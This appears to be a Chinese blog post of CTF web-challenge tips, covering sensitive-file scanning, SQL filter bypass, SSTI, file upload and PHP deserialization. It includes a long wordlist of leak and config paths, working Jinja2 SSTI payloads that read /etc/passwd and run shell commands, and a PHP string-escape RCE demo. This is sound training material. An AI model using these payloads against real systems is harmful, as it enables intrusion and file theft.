渗透测试思路

Another:影子

(主要记录一下平时渗透的一些小流程和一些小经验)

CTF(番外篇)

​ 笔者是一个WEB狗,更多的是做一些WEB类型题目,只能怪笔者太菜,哭~~

前言

​ 本篇仅介绍笔者记忆中比较深刻的CTF类型题目

(基本就是水文章,水字数)

WEB

语言

​ 笔者在WEB题目中更多的是PHP类型的题目(因为PHP是世界上最好的语言!)

​ 因为PHP的兼容性,易开发,环境易搭建,和容易快速入门

​ 语言推荐学习:PHP,Python,Java...

​ 框架推荐学习:TP,Laravel,Flask....

开始

​ 拿到题目的第一开始就要去判断考点,如果没有提示的时候(真心不喜欢一些考脑洞的)

​ 就可以去扫描一些敏感文件,比如源码文件和.git泄露等一些敏感文件

hint.php
index.php?hint
readme.html
readme.md
robots.txt
.........

​ 这些地址都是有可能存在信息的一些地方,毕竟CTF和实战相同而又不相同,CTF他既然会给出来,那就说明一定会有提示和利用的地方

​ CTF字典分享

.git
.git/HEAD
.git/index
.git/config
.git/description
source
source.php
.idea/workspace.xml
source.php.bak
.source.php.bak
source.php.swp
README.MD
README.md
README
.gitignore
.svn
.svn/wc.db
.svn/entries
user.php.bak
.hg
.DS_store
WEB-INF/web.xml
WEB-INF/src/
WEB-INF/classes
WEB-INF/lib
WEB-INF/database.propertie
CVS/Root
CVS/Entries
.bzr/
%3f
%3f~
.%3f.swp
.%3f.swo
.%3f.swn
.%3f.swm
.%3f.swl
_viminfo
.viminfo
%3f~
%3f~1~
%3f~2~
%3f~3~
%3f.save
%3f.save1
%3f.save2
%3f.save3
%3f.bak_Edietplus
%3f.bak
%3f.back
phpinfo.php
robots.txt
.htaccess
.bash_history
.svn/
.git/
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
index.php.txt
login.php
register
register.php
test.php
upload.php
phpinfo.php
t.php
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
plus
qq.txt
log.txt
wwwroot.rar
web.rar
dede
admin
edit
Fckeditor
ewebeditor
bbs
Editor
manage
shopadmin
web_Fckeditor
login
webadmin
admin/WebEditor
admin/daili/webedit
login/
database/
tmp/
manager/
manage/
web/
admin/
shopadmin/
wp-includes/
edit/
editor/
user/
users/
admin/
home/
test/
administrator/
houtai/
backdoor/
flag/
upload/
uploads/
download/
downloads/
manager/
root.zip
root.rar
wwwroot.zip
wwwroot.rar
backup.zip
backup.rar
.svn/entries
.git/config
.ds_store
flag.php
fl4g.php
f1ag.php
f14g.php
admin.php
4dmin.php
adm1n.php
4dm1n.php
admin1.php
admin2.php
adminlogin.php
administrator.php
login.php
register.php
upload.php
home.php
log.php
logs.php
config.php
member.php
user.php
users.php
robots.php
info.php
phpinfo.php
backdoor.php
fm.php
example.php
mysql.bak
a.sql
b.sql
db.sql
bdb.sql
ddb.sql
users.sql
mysql.sql
dump.sql
data.sql
backup.sql
backup.sql.gz
backup.sql.bz2
backup.zip
rss.xml
crossdomain.xml
1.txt
flag.txt
/wp-config.php
/configuration.php
/sites/default/settings.php
/config.php
/config.inc.php
/conf/_basic_config.php
/config/site.php
/system/config/default.php
/framework/conf/config.php
/mysite/_config.php
/typo3conf/localconf.php
/config/config_global.php
/config/config_ucenter.php
/lib
/data/config.php
/data/config.inc.php
/includes/config.php
/data/common.inc.php
/caches/configs/database.php
/caches/configs/system.php
/include/config.inc.php
/phpsso_server/caches/configs/database.php
/phpsso_server/caches/configs/system.php
404.php
index.html
user/
users/
admin/
home/
test/
administrator/
houtai/
backdoor/
flag/
uploads/
download/
downloads/
manager/
phpmyadmin/
phpMyAdmin/

这是一些基本的CTF字典,可以满足大部分的需求,在CTF中,WEB类型的大规模扫描容易被封禁IP,不建议大规模的扫描

判断考点为SQL注入,SSTI模板注入,SSRF打内网,文件上传,RCE等

比较不错的CTF比赛一般过滤都很变态,所以在做题的时候一定要知道开发语言的版本,因为版本的不一样,payload也会不一样

前段时间,有人给我扔了一道NepNep的热身题,大概是RCE,但是有一个判断条件,要传参一个值来进行绕过,然后第一开始我并没有注意版本这个东西,然后直接一次构造payload打穿本地,然后拿payload去打靶机的时候不行了,

最后一看,靶机版本是7.0

我本地是5.3.。

这浪费了我一段时间。。有点小难受

开发语言的版本一定要和本地调试一样,这个真的有点重要,千万不要忘记

(
问: 小影子,怎么知道开发语言的版本啊?
答: 在文件头的位置,或者其他地方,Wappalyzer插件是一个不错的选择
)

SQL

sql注入的题目一般大一点的比赛,过滤是真的变态,基本上就是过滤了绝大部分的关键字

sql类型的题目一般不会给出源码

在没有给出源码的时候要去猜测后台拼接的sql语句

然后就要去判断是黑名单还是替换了

替换的话直接双写绕过,这个一般在大型的CTF中一般不会存在(过于简单。。)

黑名单的话,只能够绕过

要首先判断黑名单存在的关键字,这个地方可以使用Fuzz字典进行fuzz测试,再根据回显不同进行判断,再进行下一步操作

字典可以自己写,也可以再网上寻找

例如过滤了空格

select/**/*/**/from/**/user;

网上的教程有很多,所以笔者并不会多说,文章以思路为主(主要原因我不会,哈哈哈哈狗头保命)

这种过滤在CTF中是一定会有绕过的方法的,之前打CTF,WP最过分的一次,WP中写道,题目涉及0day,故并不发布出来,我???(这种一般也不会发出来,出一道题,给一个0day,这怎么想都不太可能,哈哈哈哈或或嗝)~~

RCE

一般的CTF命令执行都是直接给出源码的,然后进行绕过,最后执行命令然后Get Flag

狼组CTF靶场中有一个PeiQi大佬出的一道题,就是命令执行,

过滤了一些主要函数,然后传参的时候是用json数据进行传参,源码并没有给出,猜测为ereg函数过滤替换传参值

直接在json数据中添加%00绕过过滤,成功get Flag

SSTI

一般都是python的ssti,也有一些模板的模板注入

一般都是要手动去测试模板是否存在模板注入,在可控值的地方进行fuzz

{{ 1*1 }}
{{ 1*2 }}
{% ... %}
.........

Python的SSTI Payload 原理

​ Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数这里其实就引出了

​ 在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法

​ Python中一些常见的特殊方法:

__class__返回调用的参数类型
__base__ 返回基类
__mro__ 允许我们在当前Python环境下追溯继承树
__subclasses__() 返回子类

​ 现在我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals['builtins']即可调用eval等执行任意代码。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...] #从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性 #再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__ >>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可
Python SSTI 常见Payload
#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }} #任意执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }} {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }} http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)
http://127.0.0.1/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

文件上传

​ 直接fuzz字典一把梭,然后查看能够利用的所有后缀名,再查看上传后文件是否将文件名更改,更改的目录是否有目录文件泄露等

​ 或者有关键字过滤,进行绕过,比如一些图片监测,监测的是文件头,直接制作图片马,或者在上传文件开始的位置添加图片的特征头Gif89a

源码(CMS)

​ 源码泄露类型的题目一般注重于代码审计,一般题目中给出的CMS可能会与网上存在的CMS有区别,里面可能由出题人故意增加了一些注入点,文件上传或者木马等,笔者在SXC的ClassCMS那一题中就对原CMS进行了一些源码的更改,增加注入点,减少了题目的难度,这题的环境应该已经关闭了,其他的WEB题目没有关闭,有意思的大佬可以来玩(http://sxc.starsnowsec.cn)

​ 这种类型的题目十分注重于代码审计的能力,非常考验CTFer的PHP,Flask,Java等开发语言的功底,如果这些开发语言基础较为薄弱,可以先越过这些题目,转战其他题目

​ 源码分析还是老样子,通读代码结构,从前台到后台,所有用户可控制的值,一般源码类的题目基本漏洞都会是SQL注入,RCE,能够Getshell的点,所以一些危害较小的漏洞可以尝试放到最后审计 (毕竟也有可能XSS打后台)

反序列化

​ 反序列化中包括的点也挺多的,笔者遇见的都是一些 _wakeup 绕过,反序列化写入文件,执行命令等,总体来说就是绕过,和PHP函数本身的一些问题

​ 还有一些字符串逃逸,这些中笔者最感兴趣的就是字符串逃逸

​ 字符串逃逸漏洞的本质就是字符串的替换长度不同

​ php在反序列化的时候,底层代码是以 ; 作为字段的分割,以 } 作为结尾,重点在于是根据长度判断内容,并且严格按照反序列化规则

<?php
function lemon($string){
$lemon = '/p/i';
return preg_replace($lemon, 'www', $string);
}
$username = $_GET['a'];
$age = '20';
$user = array($username,$age);
echo(serialize($user));
echo "<br>"; $r = lemon(serialize($user));
echo($r);
echo "<br>";
echo(unserialize($r));
?>

这是一个php逃逸的示例代码,结果如下:

http://127.0.0.1/1.php?a=a:2:{i:0;s:0:%22%22;i:1;s:2:%22pp%22;}
<?php
function lemon($string){
$lemon = '/ww/i';
return preg_replace($lemon, 'www', $string);
}
$username = $_GET['a'];
$age = 'ls';
$user = array($username,$age);
echo(serialize($user));
echo "<br>"; $r = lemon(serialize($user));
echo($r);
echo "<br>";
echo unserialize($r)[1];
echo "<br>";
print_r(system(unserialize($r)[1]));
?>

将代码做点修改,通过字符串逃逸达到RCE的效果

payload为以下

http://127.0.0.1/1.php?a=wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}

Payload 效果如下

a:2:{i:0;s:60:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}";i:1;s:2:"ls";}
a:2:{i:0;s:60:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}";i:1;s:2:"ls";}

​ php在反序列化的时候只会按照按序列化规则来进行反序列化,后面的就会忽略,这就构成了这个字符串逃逸的根本原因

​ (笔者在实战中并没有见过字符串逃逸类型的漏洞)

小程序

​ 小程序类的WEB题笔者之前在SXC的比赛中出了一道

(其他地方似乎没有见过,是不是SXC是第一个有小程序WEB题目啊,哈哈哈哈或或嗝)

​ 无论是微信小程序还是支付宝小程序,本质都是HTML+JS+CSS前端文件,所以在获取到小程序的包的时候,第一件事就是去解包,支付宝的小程序包都是以压缩包形式存在的,可以直接解压使用,微信小程序的包是以wxapkg为后缀名的文件,可以直接在网上寻找wxapkg解码工具,这类教程还是有很多的,笔者就不再一一列举

(
问: 小影子,我不知道小程序包在哪里,找不到怎么办?
答: 网上有很多这种教程,包括微信小程序和支付宝小程序,微信小程序可以使用模拟器拿到源码包,支付宝小程序的话,笔者在夜神模拟器中无法登录支付宝,可能是支付宝有某些安全策略 问: 小影子,夜神模拟器无法抓取小程序的源码包,那我怎么办啊?
答: 手机开启开发者调试模式,模式开启每个厂商都基本不同,可以在网上进行一些资料搜索,然后adb连接手机,直接将所有小程序的包pull出来,然后再一个个分析,找到自己要测试的支付宝小程序源码包
)

​ 小程序一类的解压之后可以使用小程序开发工具进行代码审计,毕竟都是原生的好用

​ 下面为支付宝小程序开发工具

Misc

​ Web狗Web狗,除了Web,什么都能狗

​ 笔者之前打CTF的时候,有的时候Web题一道没出,倒是Misc,Crypto,Re总能一个能出一道题目

作为一个CTFer,最好还是多学一点其他的知识,因为Web就像数学,不会就是真的不会了

但是Misc不一样,说不定我就狗出来了,哈哈哈哈或

Crypto

​ Crypto这种我能够打出来是因为我搞了好多的Crypto的脚本,直接脚本一把梭,运气好就出来了

(I'm so ‘s smart!)

这些应该在Github上面就有,挺香的

在加上悬剑CTF版的一些脚本,我感觉我又行了

后言

​ CTF的最重要的还是要多去刷题,题海战术,这点是非常有效的,刷的题一定要有效率的刷题,而且在复现或者给出源码的情况下有类别的存在本地,WP也要好好的保管

千万不要像笔者一样刷完一道忘一道,就很垃圾,哭~~

渗透测试思路 - CTF(番外篇)的更多相关文章

  1. Java微信公众平台开发【番外篇】(七)--公众平台测试帐号的申请

    转自:http://www.cuiyongzhi.com/post/45.html 前面几篇一直都在写一些比较基础接口的使用,在这个过程中一直使用的都是我个人微博认证的一个个人账号,原本准备这篇是写[ ...

  2. 《手把手教你》系列基础篇(八十)-java+ selenium自动化测试-框架设计基础-TestNG依赖测试-番外篇(详解教程)

    1.简介 经过前边几篇知识点的介绍,今天宏哥就在实际测试中应用一下前边所学的依赖测试.这一篇主要介绍在TestNG中一个类中有多个测试方法的时候,多个测试方法的执行顺序或者依赖关系的问题.如果不用de ...

  3. 给深度学习入门者的Python快速教程 - 番外篇之Python-OpenCV

    这次博客园的排版彻底残了..高清版请移步: https://zhuanlan.zhihu.com/p/24425116 本篇是前面两篇教程: 给深度学习入门者的Python快速教程 - 基础篇 给深度 ...

  4. [置顶] think in java interview番外篇-谈程序员如何修练英语

    一.程序员对英语能力的重视度和能力要求应该是在各行各业中排在比较靠前的 这样说吧,英语程度的好坏直接影响着一个程序员的编程.开发.创新能力. 道理很简单: 1. 计算机和软件是用英语创造出来的 2. ...

  5. python自动化测试应用-番外篇--接口测试1

    篇1                 book-python-auto-test-番外篇--接口测试1 --lamecho辣么丑 1.1概要 大家好! 我是lamecho(辣么丑),至今<安卓a ...

  6. [uboot] (番外篇)uboot串口&console&stdio设备工作流程 (转)

    [uboot] uboot流程系列:[project X] tiny210(s5pv210)上电启动流程(BL0-BL2)[project X] tiny210(s5pv210)从存储设备加载代码到D ...

  7. 《手把手教你》系列技巧篇(三十六)-java+ selenium自动化测试-单选和多选按钮操作-番外篇(详解教程)

    1.简介 前边几篇文章是宏哥自己在本地弄了一个单选和多选的demo,然后又找了网上相关联的例子给小伙伴或童鞋们演示了一下如何自动化测试,这一篇宏哥在网上找了一个问卷调查,给小伙伴或童鞋们来演示一下.上 ...

  8. iOS冰与火之歌(番外篇) - 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权

    iOS冰与火之歌(番外篇) 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权 蒸米@阿里移动安全 0x00 序 这段时间最火的漏洞当属阿联酋的人权活动人士被apt攻击所使用 ...

  9. 可视化(番外篇)——在Eclipse RCP中玩转OpenGL

    最近在看有关Eclipse RCP方面的东西,鉴于Gephi是使用opengl作为绘图引擎,所以,萌生了在Eclipse RCP下添加画布,使用opengl绘图的想法,网上有博文详细介绍这方面的内容, ...

随机推荐

  1. Task05:SQL高级处理

    5.1 窗口函数 5.1.1 窗口函数概念及基本的使用方法 窗口函数也称为OLAP函数.OLAP 是OnLine AnalyticalProcessing 的简称,意思是对数据库数据进行实时分析处理. ...

  2. 【NX二次开发】多功能对话框UF_UI_message_dialog

    多功能对话框 1 extern DllExport void ufsta(char *param, int *returnCode, int rlen) 2 { 3 UF_initialize(); ...

  3. 06:JS(02)

    对象 一切皆对象 数组(类似于python里面的列表) [] var l = [11,22,33,44,55] typeof l "object" var l1 = [11,'sd ...

  4. 带你认真了解一下Java分布式系统的基本特性

    一般,分布式系统需要支持以下特性: 资源共享 开放性 并发性 可伸缩性 容错性 透明性 下面分别讨论. 容易理解的 资源共享 一旦授权,可以访问环境中的任何资源 资源:包括硬件(e.g. printe ...

  5. leetcode5698.基本计算器

    给你一个整数数组 nums ,和两个整数 limit 与 goal .数组 nums 有一条重要属性:abs(nums[i]) <= limit . 返回使数组元素总和等于 goal 所需要向数 ...

  6. .NET Core/.NET5/.NET6 开源项目汇总7:电商项目

    系列目录     [已更新最新开发文章,点击查看详细] 谈起.NET/.NET Core的企业级实战案例,电商项目是典型代表.其中高负载.高并发.高可用性等问题是考核.NET技术性能的重要指标.下面整 ...

  7. 渗透测试工具Burpsuite操作教程

    Burpsuite简介 Burp Suite 是一款专业的Web和移动应用程序渗透测试工具,是用于攻击web 应用程序的集成平台,包含了许多工具.Burp Suite为这些工具设计了许多接口,以加快攻 ...

  8. 2、oracle用户和权限

    权限主要可以分成三类:系统权限.角色.对象权限,角色是一类系统权限的分组, Oracle 的角色存放在表 dba_roles 中,某角色包含的系统权限存放在 dba_sys_privs 中, 包含的对 ...

  9. 自己动手模拟spring的IOC

    我们这里是模拟spring,主要模拟spring中的IOC功能,所以在此我们一样要在service层中定义dao的实例,当然不用new出来,我们就通过spring的IOC把这里的dao层注入进来.不要 ...

  10. python 两种排序方法 sort() sorted()

    python中有两种排序方法,list内置sort()方法或者python内置的全局sorted()方法 区别为: sort()方法对list排序会修改list本身,不会返回新list.sort()只 ...